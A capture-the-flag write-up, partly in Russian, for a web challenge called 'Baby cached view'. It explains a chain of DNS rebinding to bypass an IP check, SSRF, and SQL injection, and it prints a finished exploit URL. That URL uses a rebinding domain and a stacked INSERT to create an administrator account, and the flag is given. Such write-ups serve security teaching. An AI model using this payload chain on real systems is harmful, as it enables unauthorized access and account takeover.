# Baby cached view
## Описание
Кеширование - это хорошо, но логические баги в процессе кеширования - лучше. Что скажешь?
---
Caching is good, but logical bugs in the caching process are better. What do you think?
## Краткое описание уязвимости
Участникам необходимо было проэксплуатировать цепочку уязвимостей, состоящих из:
1. Обход проверки IP адресса при запросе dns записи
2. SSRF;
3. SQL Injection via ssrf.
После последнего пункта можно было украсть сессию админа из базы данных или создать администратора, указав валидный bcrypt хеш.
# Решение
1. Создаем запись с помощью https://lock.cmpxchg8b.com/rebinder.html, которая будет указывать на что-то, что не резолвится в 127.1 или другие локальные адреса

2. Отправляем полезную нагрузку в поле `url`, тем самым заставляя сервис кешировать домен и его зарезолвленную часть
3. Через какое-то время повторно отправляем полезную нагрузку в поле `url`, удостоверившись в том, что запись с https://lock.cmpxchg8b.com/rebinder.html указывает на локальный адрес
4. Эксплуатируем ssrf для просмотра содержимого страницы `users` (страница отдает все записи из БД. Пароли - хеш бкрипт)
5. Эксплуатируем sqli via ssrf via dns rebinding.
Получившийся эксплойт:
```
http://c4200c2c.7f000001.rbndr.us:8000/users/?order_by="Backend_customuser"."id") ;insert into "Backend_customuser"(id,date_joined,username,password,is_active,is_admin,is_super_admin,creation_date,modification_date) values(133,CURRENT_TIMESTAMP, 'rive_n', 'HUH', true, true, true, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)
```
FLAG:
`bsc{C4CH3_VS_B4D_C0D3R}`